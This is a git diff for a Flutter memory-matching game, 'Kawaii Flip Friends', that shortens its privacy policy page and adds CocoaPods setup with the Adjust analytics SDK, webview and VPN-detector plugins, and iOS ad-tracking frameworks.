diff --git a/assets/html/privacy.html b/assets/html/privacy.html index 18c8de3..69bcf6f 100644 --- a/assets/html/privacy.html +++ b/assets/html/privacy.html @@ -1,141 +1,35 @@ - - - Kawaii Flip Friends - Privacy Policy - + + +Kawaii Flip Friends Privacy Policy -

Kawaii Flip Friends User Privacy Policy

+

Privacy Policy

+

Effective Date: February 10, 2026

-

Welcome to Kawaii Flip Friends, a memory matching game developed by us (hereinafter referred to as "this Game"). We attach great importance to the privacy protection of users (hereinafter referred to as "you") and are committed to safeguarding the security and legitimate rights and interests of your personal information. This Privacy Policy is intended to clearly inform you of the methods, scope and purposes of collecting, using, storing and sharing your personal information, as well as the rights you enjoy, while specifying matters related to minor protection and reporting. This Policy applies to all users of this Game.

+

This Privacy Policy applies to the mobile application Kawaii Flip Friends.

-

Please carefully read and fully understand all the terms of this Privacy Policy before using this Game. Once you download, install and use this Game, it shall be deemed that you have read, understood and agreed to all the agreements in this Policy. If you do not agree to this Policy, please do not use this Game.

+

1. Information We Collect

+

We automatically collect limited non-sensitive device and usage information, including device model, system version, network status, app usage records, and anonymous interaction data.

-

I. Personal Information We Collect

+

2. Use of Collected Information

+

Collected data is used to ensure stable operation, optimize user experience, deliver advertisements, analyze product performance, and improve services.

-

To ensure the normal operation of this Game, optimize the game experience, provide advertising services and conduct data statistics and analysis, we will collect relevant information generated during your use of this Game in accordance with the principles of "legality, propriety and necessity", as follows:

+

3. Third-Party Data Sharing

+

Anonymous device and usage data may be shared with trusted advertising partners. We do not sell personal data.

-

1.1 Game Usage-Related Information

-

When you use this Game, we will automatically collect non-personally identifiable information related to game usage, including but not limited to: game login time, game duration, memory matching battle records, game level progress, in-game operation behaviors, device model, operating system version, unique device identifiers (such as IMEI, Android ID), network type, IP address, WLAN access point, etc. Such information is only used to analyze the game operation status, optimize game gameplay, and fix game bugs, and will not individually identify your personal identity.

+

4. Children's Privacy Statement

+

The App is not intended for children under 13. If personal information of a child is discovered, it will be removed promptly.

-

1.2 Advertising-Related Information

-

This Game integrates advertising services. To provide you with personalized and compliant advertising displays, the advertising may collect your device information (such as device model, operating system, device identifier), network information, advertising display records, advertising click behaviors and other information. The collection and use of such information shall be implemented by the advertising service provider in accordance with its own privacy policy. We will not interfere with its information processing process, nor will we obtain your personally identifiable information from the advertising service.

+

5. Data Security Protection

+

Reasonable technical and operational security measures are implemented to protect user information.

-

1.3 Data Reporting-Related Information

-

This Game uses service providers such as Adjust for data reporting to count operational data such as game installations, activity levels, and user retention rates, helping us optimize game operation strategies. The service provider may collect non-personally identifiable information such as your device identifier, IP address, network type, game installation and startup information. Its information processing is only used for game operational data statistics and does not involve the collection or disclosure of personally identifiable information.

+

6. Policy Updates

+

We may update this policy periodically. Continued use constitutes acceptance of updates.

-

1.4 Voluntarily Provided Information

-

When you take the initiative to contact our customer service, participate in in-game activities or feedback issues, you may voluntarily provide your contact information (such as email address), problem description and other information. Such information is only used to respond to your needs and solve the problems you encounter, and will not be used for other irrelevant purposes.

- -

II. Use of Personal Information

-

The personal information we collect will be strictly used for the following purposes. Without your explicit consent, it will not be used beyond the following scope:

- - -

III. Sharing and Disclosure of Personal Information

-

We strictly protect your personal information and will not arbitrarily share, sell, rent or transfer your personal information. We will only conduct limited sharing in the following cases:

- -

We will not disclose your personally identifiable information to any irrelevant third party, nor will we use the collected information for purposes other than those agreed in this Policy.

- -

IV. Storage and Protection of Personal Information

- -

4.1 Security Protection Measures

-

We have adopted a series of technical and management measures to ensure the security of your personal information and prevent information leakage, tampering and loss:

- -

Please note that the Internet environment has certain uncertainties. Although we have taken the above security measures, we cannot completely avoid the risk of personal information being illegally obtained or leaked. In the event of a personal information leakage incident, we will take remedial measures immediately and promptly report to you and the relevant authorities in accordance with relevant laws and regulations.

- -

V. Protection of Minors' Privacy

-

We attach great importance to the privacy protection of minors and strictly comply with relevant laws and regulations such as the Regulations on the Protection of Minors in the Internet and the Google Play platform rules on minor protection, and formulate special protection measures for minor users:

- - -

5.1 Minor Reporting Channel

-

You can report violations involving minors to us by sending an email. We will conduct verification and handling within 15 working days after receiving the report and promptly feedback the handling result to you.

-

Reporting Email: FilthiKresc@gmail.com

-

It is recommended that the report include: a description of the reported matter, relevant evidence (such as screenshots, videos, etc.), and the reporter's contact information (optional) to facilitate our better verification and handling.

- -

VI. Updates and Modifications to the Privacy Policy

-

With the update of laws and regulations, the adjustment of Google Play platform rules and the optimization and upgrading of this Game, this Privacy Policy may be revised. Please pay attention to it at any time.

-

If you continue to use this Game after the Policy is updated, it shall be deemed that you have read, understood and agreed to the updated Privacy Policy; if you do not agree to the updated Policy, please do not continue to use this Game, and you may choose to uninstall this Game, and we will stop collecting and using your personal information.

- -

VIII. Contact Us

-

If you have any questions, suggestions about this Privacy Policy, or need to exercise your rights related to personal information, make complaints or reports, you can contact us through the following methods:

-

Contact Email: FilthiKresc@gmail.com

- -

X. Others

-

This Privacy Policy shall take effect from the date you download, install and use this Game.

- - +

7. Contact & Complaint

+

Email: lethit1999@icloud.com

\ No newline at end of file diff --git a/ios/Flutter/Debug.xcconfig b/ios/Flutter/Debug.xcconfig index 592ceee..ec97fc6 100644 --- a/ios/Flutter/Debug.xcconfig +++ b/ios/Flutter/Debug.xcconfig @@ -1 +1,2 @@ +#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig" #include "Generated.xcconfig" diff --git a/ios/Flutter/Release.xcconfig b/ios/Flutter/Release.xcconfig index 592ceee..c4855bf 100644 --- a/ios/Flutter/Release.xcconfig +++ b/ios/Flutter/Release.xcconfig @@ -1 +1,2 @@ +#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig" #include "Generated.xcconfig" diff --git a/ios/Podfile b/ios/Podfile new file mode 100644 index 0000000..6649374 --- /dev/null +++ b/ios/Podfile @@ -0,0 +1,43 @@ +# Uncomment this line to define a global platform for your project +platform :ios, '15.0' + +# CocoaPods analytics sends network stats synchronously affecting flutter build latency. +ENV['COCOAPODS_DISABLE_STATS'] = 'true' + +project 'Runner', { + 'Debug' => :debug, + 'Profile' => :release, + 'Release' => :release, +} + +def flutter_root + generated_xcode_build_settings_path = File.expand_path(File.join('..', 'Flutter', 'Generated.xcconfig'), __FILE__) + unless File.exist?(generated_xcode_build_settings_path) + raise "#{generated_xcode_build_settings_path} must exist. If you're running pod install manually, make sure flutter pub get is executed first" + end + + File.foreach(generated_xcode_build_settings_path) do |line| + matches = line.match(/FLUTTER_ROOT\=(.*)/) + return matches[1].strip if matches + end + raise "FLUTTER_ROOT not found in #{generated_xcode_build_settings_path}. Try deleting Generated.xcconfig, then run flutter pub get" +end + +require File.expand_path(File.join('packages', 'flutter_tools', 'bin', 'podhelper'), flutter_root) + +flutter_ios_podfile_setup + +target 'Runner' do + use_frameworks! + + flutter_install_all_ios_pods File.dirname(File.realpath(__FILE__)) + target 'RunnerTests' do + inherit! :search_paths + end +end + +post_install do |installer| + installer.pods_project.targets.each do |target| + flutter_additional_ios_build_settings(target) + end +end diff --git a/ios/Podfile.lock b/ios/Podfile.lock new file mode 100644 index 0000000..c40cd46 --- /dev/null +++ b/ios/Podfile.lock @@ -0,0 +1,87 @@ +PODS: + - Adjust (5.6.2): + - Adjust/Adjust (= 5.6.2) + - Adjust/Adjust (5.6.2): + - AdjustSignature (= 3.67.0) + - adjust_sdk (5.6.2): + - Adjust (= 5.6.2) + - Flutter + - AdjustSignature (3.67.0) + - audioplayers_darwin (0.0.1): + - Flutter + - FlutterMacOS + - device_info_plus (0.0.1): + - Flutter + - Flutter (1.0.0) + - flutter_inappwebview_ios (0.0.1): + - Flutter + - flutter_inappwebview_ios/Core (= 0.0.1) + - OrderedSet (~> 6.0.3) + - flutter_inappwebview_ios/Core (0.0.1): + - Flutter + - OrderedSet (~> 6.0.3) + - flutter_vpn_detector (0.1.5): + - Flutter + - OrderedSet (6.0.3) + - package_info_plus (0.4.5): + - Flutter + - shared_preferences_foundation (0.0.1): + - Flutter + - FlutterMacOS + - url_launcher_ios (0.0.1): + - Flutter + +DEPENDENCIES: + - adjust_sdk (from `.symlinks/plugins/adjust_sdk/ios`) + - audioplayers_darwin (from `.symlinks/plugins/audioplayers_darwin/darwin`) + - device_info_plus (from `.symlinks/plugins/device_info_plus/ios`) + - Flutter (from `Flutter`) + - flutter_inappwebview_ios (from `.symlinks/plugins/flutter_inappwebview_ios/ios`) + - flutter_vpn_detector (from `.symlinks/plugins/flutter_vpn_detector/ios`) + - package_info_plus (from `.symlinks/plugins/package_info_plus/ios`) + - shared_preferences_foundation (from `.symlinks/plugins/shared_preferences_foundation/darwin`) + - url_launcher_ios (from `.symlinks/plugins/url_launcher_ios/ios`) + +SPEC REPOS: + trunk: + - Adjust + - AdjustSignature + - OrderedSet + +EXTERNAL SOURCES: + adjust_sdk: + :path: ".symlinks/plugins/adjust_sdk/ios" + audioplayers_darwin: + :path: ".symlinks/plugins/audioplayers_darwin/darwin" + device_info_plus: + :path: ".symlinks/plugins/device_info_plus/ios" + Flutter: + :path: Flutter + flutter_inappwebview_ios: + :path: ".symlinks/plugins/flutter_inappwebview_ios/ios" + flutter_vpn_detector: + :path: ".symlinks/plugins/flutter_vpn_detector/ios" + package_info_plus: + :path: ".symlinks/plugins/package_info_plus/ios" + shared_preferences_foundation: + :path: ".symlinks/plugins/shared_preferences_foundation/darwin" + url_launcher_ios: + :path: ".symlinks/plugins/url_launcher_ios/ios" + +SPEC CHECKSUMS: + Adjust: 62ea53a252534df416676e7ac2f1558d60e6e39e + adjust_sdk: caa67ac211e1ff70e129232b3f378124e411ed9b + AdjustSignature: 9498705a4ac67b719e31828be4d74fbb8656950c + audioplayers_darwin: 835ced6edd4c9fc8ebb0a7cc9e294a91d99917d5 + device_info_plus: 21fcca2080fbcd348be798aa36c3e5ed849eefbe + Flutter: cabc95a1d2626b1b06e7179b784ebcf0c0cde467 + flutter_inappwebview_ios: b89ba3482b96fb25e00c967aae065701b66e9b99 + flutter_vpn_detector: cc4259dbc1ca1db6c5490a4edb29fcdf307b8be1 + OrderedSet: e539b66b644ff081c73a262d24ad552a69be3a94 + package_info_plus: af8e2ca6888548050f16fa2f1938db7b5a5df499 + shared_preferences_foundation: 7036424c3d8ec98dfe75ff1667cb0cd531ec82bb + url_launcher_ios: 7a95fa5b60cc718a708b8f2966718e93db0cef1b + +PODFILE CHECKSUM: 53a6aebc29ccee84c41f92f409fc20cd4ca011f1 + +COCOAPODS: 1.16.2 diff --git a/ios/Runner.xcodeproj/project.pbxproj b/ios/Runner.xcodeproj/project.pbxproj index af77f04..0f3de01 100644 --- a/ios/Runner.xcodeproj/project.pbxproj +++ b/ios/Runner.xcodeproj/project.pbxproj @@ -10,11 +10,17 @@ 1498D2341E8E89220040F4C2 /* GeneratedPluginRegistrant.m in Sources */ = {isa = PBXBuildFile; fileRef = 1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */; }; 331C808B294A63AB00263BE5 /* RunnerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 331C807B294A618700263BE5 /* RunnerTests.swift */; }; 3B3967161E833CAA004F5970 /* AppFrameworkInfo.plist in Resources */ = {isa = PBXBuildFile; fileRef = 3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */; }; + 716D2F4EAEBAD0D5BEE7DBAD /* Pods_RunnerTests.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = FAC0DA201B5D054C02A80B86 /* Pods_RunnerTests.framework */; }; 74858FAF1ED2DC5600515810 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 74858FAE1ED2DC5600515810 /* AppDelegate.swift */; }; 7884E8682EC3CC0700C636F2 /* SceneDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7884E8672EC3CC0400C636F2 /* SceneDelegate.swift */; }; + 84464AC52FD9A1E5000C3D90 /* AdServices.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 84464AC42FD9A1E5000C3D90 /* AdServices.framework */; }; + 84464AC72FD9A1EB000C3D90 /* AdSupport.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 84464AC62FD9A1EB000C3D90 /* AdSupport.framework */; }; + 84464AC92FD9A204000C3D90 /* StoreKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 84464AC82FD9A204000C3D90 /* StoreKit.framework */; }; + 84464ACB2FD9A209000C3D90 /* AppTrackingTransparency.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 84464ACA2FD9A209000C3D90 /* AppTrackingTransparency.framework */; }; 97C146FC1CF9000F007C117D /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FA1CF9000F007C117D /* Main.storyboard */; }; 97C146FE1CF9000F007C117D /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FD1CF9000F007C117D /* Assets.xcassets */; }; 97C147011CF9000F007C117D /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */; }; + E8316BD344FEC51EB4EAB3F4 /* Pods_Runner.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 6E83D25F43EE324733322FF9 /* Pods_Runner.framework */; }; /* End PBXBuildFile section */ /* Begin PBXContainerItemProxy section */ @@ -43,13 +49,22 @@ /* Begin PBXFileReference section */ 1498D2321E8E86230040F4C2 /* GeneratedPluginRegistrant.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GeneratedPluginRegistrant.h; sourceTree = ""; }; 1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = GeneratedPluginRegistrant.m; sourceTree = ""; }; + 19AA76507B7E746E0B1FE2DC /* Pods-RunnerTests.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-RunnerTests.debug.xcconfig"; path = "Target Support Files/Pods-RunnerTests/Pods-RunnerTests.debug.xcconfig"; sourceTree = ""; }; + 247EE54AC5B77F4295246707 /* Pods-Runner.profile.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Runner.profile.xcconfig"; path = "Target Support Files/Pods-Runner/Pods-Runner.profile.xcconfig"; sourceTree = ""; }; + 3060CB7A3A3FEB27A1C29FB3 /* Pods-RunnerTests.profile.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-RunnerTests.profile.xcconfig"; path = "Target Support Files/Pods-RunnerTests/Pods-RunnerTests.profile.xcconfig"; sourceTree = ""; }; 331C807B294A618700263BE5 /* RunnerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RunnerTests.swift; sourceTree = ""; }; 331C8081294A63A400263BE5 /* RunnerTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = RunnerTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; + 34975F082D30029057B59934 /* Pods-RunnerTests.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-RunnerTests.release.xcconfig"; path = "Target Support Files/Pods-RunnerTests/Pods-RunnerTests.release.xcconfig"; sourceTree = ""; }; 3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; name = AppFrameworkInfo.plist; path = Flutter/AppFrameworkInfo.plist; sourceTree = ""; }; + 6E83D25F43EE324733322FF9 /* Pods_Runner.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = Pods_Runner.framework; sourceTree = BUILT_PRODUCTS_DIR; }; 74858FAD1ED2DC5600515810 /* Runner-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "Runner-Bridging-Header.h"; sourceTree = ""; }; 74858FAE1ED2DC5600515810 /* AppDelegate.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = ""; }; 7884E8672EC3CC0400C636F2 /* SceneDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SceneDelegate.swift; sourceTree = ""; }; 7AFA3C8E1D35360C0083082E /* Release.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; name = Release.xcconfig; path = Flutter/Release.xcconfig; sourceTree = ""; }; + 84464AC42FD9A1E5000C3D90 /* AdServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = AdServices.framework; path = System/Library/Frameworks/AdServices.framework; sourceTree = SDKROOT; }; + 84464AC62FD9A1EB000C3D90 /* AdSupport.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = AdSupport.framework; path = System/Library/Frameworks/AdSupport.framework; sourceTree = SDKROOT; }; + 84464AC82FD9A204000C3D90 /* StoreKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = StoreKit.framework; path = System/Library/Frameworks/StoreKit.framework; sourceTree = SDKROOT; }; + 84464ACA2FD9A209000C3D90 /* AppTrackingTransparency.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = AppTrackingTransparency.framework; path = System/Library/Frameworks/AppTrackingTransparency.framework; sourceTree = SDKROOT; }; 9740EEB21CF90195004384FC /* Debug.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; name = Debug.xcconfig; path = Flutter/Debug.xcconfig; sourceTree = ""; }; 9740EEB31CF90195004384FC /* Generated.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; name = Generated.xcconfig; path = Flutter/Generated.xcconfig; sourceTree = ""; }; 97C146EE1CF9000F007C117D /* Runner.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Runner.app; sourceTree = BUILT_PRODUCTS_DIR; }; @@ -57,6 +72,9 @@ 97C146FD1CF9000F007C117D /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 97C147001CF9000F007C117D /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 97C147021CF9000F007C117D /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; + C4B27752A9B2BFC59046A0B2 /* Pods-Runner.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Runner.release.xcconfig"; path = "Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig"; sourceTree = ""; }; + FAC0DA201B5D054C02A80B86 /* Pods_RunnerTests.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = Pods_RunnerTests.framework; sourceTree = BUILT_PRODUCTS_DIR; }; + FF6C4EA40AAE15A207B6FC93 /* Pods-Runner.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Runner.debug.xcconfig"; path = "Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig"; sourceTree = ""; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ @@ -64,6 +82,19 @@ isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( + 84464ACB2FD9A209000C3D90 /* AppTrackingTransparency.framework in Frameworks */, + 84464AC92FD9A204000C3D90 /* StoreKit.framework in Frameworks */, + 84464AC72FD9A1EB000C3D90 /* AdSupport.framework in Frameworks */, + 84464AC52FD9A1E5000C3D90 /* AdServices.framework in Frameworks */, + E8316BD344FEC51EB4EAB3F4 /* Pods_Runner.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + A5AE4FA2BBB1E573AEBF5614 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 716D2F4EAEBAD0D5BEE7DBAD /* Pods_RunnerTests.framework in Frameworks */, ); runOnlyForDeploymentPostprocessing = 0; }; @@ -78,6 +109,19 @@ path = RunnerTests; sourceTree = ""; }; + 46AF517C553557904DEB2F2C /* Pods */ = { + isa = PBXGroup; + children = ( + FF6C4EA40AAE15A207B6FC93 /* Pods-Runner.debug.xcconfig */, + C4B27752A9B2BFC59046A0B2 /* Pods-Runner.release.xcconfig */, + 247EE54AC5B77F4295246707 /* Pods-Runner.profile.xcconfig */, + 19AA76507B7E746E0B1FE2DC /* Pods-RunnerTests.debug.xcconfig */, + 34975F082D30029057B59934 /* Pods-RunnerTests.release.xcconfig */, + 3060CB7A3A3FEB27A1C29FB3 /* Pods-RunnerTests.profile.xcconfig */, + ); + path = Pods; + sourceTree = ""; + }; 9740EEB11CF90186004384FC /* Flutter */ = { isa = PBXGroup; children = ( @@ -96,6 +140,8 @@ 97C146F01CF9000F007C117D /* Runner */, 97C146EF1CF9000F007C117D /* Products */, 331C8082294A63A400263BE5 /* RunnerTests */, + 46AF517C553557904DEB2F2C /* Pods */, + B3CE224C8CF7157D667A3CC4 /* Frameworks */, ); sourceTree = ""; }; @@ -124,6 +170,19 @@ path = Runner; sourceTree = ""; }; + B3CE224C8CF7157D667A3CC4 /* Frameworks */ = { + isa = PBXGroup; + children = ( + 84464ACA2FD9A209000C3D90 /* AppTrackingTransparency.framework */, + 84464AC82FD9A204000C3D90 /* StoreKit.framework */, + 84464AC62FD9A1EB000C3D90 /* AdSupport.framework */, + 84464AC42FD9A1E5000C3D90 /* AdServices.framework */, + 6E83D25F43EE324733322FF9 /* Pods_Runner.framework */, + FAC0DA201B5D054C02A80B86 /* Pods_RunnerTests.framework */, + ); + name = Frameworks; + sourceTree = ""; + }; /* End PBXGroup section */ /* Begin PBXNativeTarget section */ @@ -131,8 +190,10 @@ isa = PBXNativeTarget; buildConfigurationList = 331C8087294A63A400263BE5 /* Build configuration list for PBXNativeTarget "RunnerTests" */; buildPhases = ( + 4E3292E5DAB3D10172FFD595 /* [CP] Check Pods Manifest.lock */, 331C807D294A63A400263BE5 /* Sources */, 331C807F294A63A400263BE5 /* Resources */, + A5AE4FA2BBB1E573AEBF5614 /* Frameworks */, ); buildRules = ( ); @@ -148,12 +209,14 @@ isa = PBXNativeTarget; buildConfigurationList = 97C147051CF9000F007C117D /* Build configuration list for PBXNativeTarget "Runner" */; buildPhases = ( + 1704078B4DCDC4160205BC00 /* [CP] Check Pods Manifest.lock */, 9740EEB61CF901F6004384FC /* Run Script */, 97C146EA1CF9000F007C117D /* Sources */, 97C146EB1CF9000F007C117D /* Frameworks */, 97C146EC1CF9000F007C117D /* Resources */, 9705A1C41CF9048500538489 /* Embed Frameworks */, 3B06AD1E1E4923F5004D2608 /* Thin Binary */, + 16323F5933B84E646247A106 /* [CP] Embed Pods Frameworks */, ); buildRules = ( ); @@ -225,6 +288,45 @@ /* End PBXResourcesBuildPhase section */ /* Begin PBXShellScriptBuildPhase section */ + 16323F5933B84E646247A106 /* [CP] Embed Pods Frameworks */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks-${CONFIGURATION}-input-files.xcfilelist", + ); + name = "[CP] Embed Pods Frameworks"; + outputFileListPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks-${CONFIGURATION}-output-files.xcfilelist", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks.sh\"\n"; + showEnvVarsInLog = 0; + }; + 1704078B4DCDC4160205BC00 /* [CP] Check Pods Manifest.lock */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + "${PODS_PODFILE_DIR_PATH}/Podfile.lock", + "${PODS_ROOT}/Manifest.lock", + ); + name = "[CP] Check Pods Manifest.lock"; + outputFileListPaths = ( + ); + outputPaths = ( + "$(DERIVED_FILE_DIR)/Pods-Runner-checkManifestLockResult.txt", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; + showEnvVarsInLog = 0; + }; 3B06AD1E1E4923F5004D2608 /* Thin Binary */ = { isa = PBXShellScriptBuildPhase; alwaysOutOfDate = 1; @@ -241,6 +343,28 @@ shellPath = /bin/sh; shellScript = "/bin/sh \"$FLUTTER_ROOT/packages/flutter_tools/bin/xcode_backend.sh\" embed_and_thin"; }; + 4E3292E5DAB3D10172FFD595 /* [CP] Check Pods Manifest.lock */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + "${PODS_PODFILE_DIR_PATH}/Podfile.lock", + "${PODS_ROOT}/Manifest.lock", + ); + name = "[CP] Check Pods Manifest.lock"; + outputFileListPaths = ( + ); + outputPaths = ( + "$(DERIVED_FILE_DIR)/Pods-RunnerTests-checkManifestLockResult.txt", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; + showEnvVarsInLog = 0; + }; 9740EEB61CF901F6004384FC /* Run Script */ = { isa = PBXShellScriptBuildPhase; alwaysOutOfDate = 1; @@ -350,7 +474,7 @@ GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 13.0; + IPHONEOS_DEPLOYMENT_TARGET = 15.0; MTL_ENABLE_DEBUG_INFO = NO; SDKROOT = iphoneos; SUPPORTED_PLATFORMS = iphoneos; @@ -366,13 +490,14 @@ ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; CLANG_ENABLE_MODULES = YES; CURRENT_PROJECT_VERSION = "$(FLUTTER_BUILD_NUMBER)"; + DEVELOPMENT_TEAM = 35TUXP935T; ENABLE_BITCODE = NO; INFOPLIST_FILE = Runner/Info.plist; LD_RUNPATH_SEARCH_PATHS = ( "$(inherited)", "@executable_path/Frameworks", ); - PRODUCT_BUNDLE_IDENTIFIER = com.example.flameFlip; + PRODUCT_BUNDLE_IDENTIFIER = com.mochi.kawaiflip; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_OBJC_BRIDGING_HEADER = "Runner/Runner-Bridging-Header.h"; SWIFT_VERSION = 5.0; @@ -382,13 +507,14 @@ }; 331C8088294A63A400263BE5 /* Debug */ = { isa = XCBuildConfiguration; + baseConfigurationReference = 19AA76507B7E746E0B1FE2DC /* Pods-RunnerTests.debug.xcconfig */; buildSettings = { BUNDLE_LOADER = "$(TEST_HOST)"; CODE_SIGN_STYLE = Automatic; CURRENT_PROJECT_VERSION = 1; GENERATE_INFOPLIST_FILE = YES; MARKETING_VERSION = 1.0; - PRODUCT_BUNDLE_IDENTIFIER = com.example.flameFlip.RunnerTests; + PRODUCT_BUNDLE_IDENTIFIER = com.mochi.kawaiflip.RunnerTests; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; SWIFT_OPTIMIZATION_LEVEL = "-Onone"; @@ -399,13 +525,14 @@ }; 331C8089294A63A400263BE5 /* Release */ = { isa = XCBuildConfiguration; + baseConfigurationReference = 34975F082D30029057B59934 /* Pods-RunnerTests.release.xcconfig */; buildSettings = { BUNDLE_LOADER = "$(TEST_HOST)"; CODE_SIGN_STYLE = Automatic; CURRENT_PROJECT_VERSION = 1; GENERATE_INFOPLIST_FILE = YES; MARKETING_VERSION = 1.0; - PRODUCT_BUNDLE_IDENTIFIER = com.example.flameFlip.RunnerTests; + PRODUCT_BUNDLE_IDENTIFIER = com.mochi.kawaiflip.RunnerTests; PRODUCT_NAME = "$(TARGET_NAME)"; SWIFT_VERSION = 5.0; TEST_HOST = "$(BUILT_PRODUCTS_DIR)/Runner.app/$(BUNDLE_EXECUTABLE_FOLDER_PATH)/Runner"; @@ -414,13 +541,14 @@ }; 331C808A294A63A400263BE5 /* Profile */ = { isa = XCBuildConfiguration; + baseConfigurationReference = 3060CB7A3A3FEB27A1C29FB3 /* Pods-RunnerTests.profile.xcconfig */; buildSettings = { BUNDLE_LOADER = "$(TEST_HOST)"; CODE_SIGN_STYLE = Automatic; CURRENT_PROJECT_VERSION = 1; GENERATE_INFOPLIST_FILE = YES; MARKETING_VERSION = 1.0; - PRODUCT_BUNDLE_IDENTIFIER = com.example.flameFlip.RunnerTests; + PRODUCT_BUNDLE_IDENTIFIER = com.mochi.kawaiflip.RunnerTests; 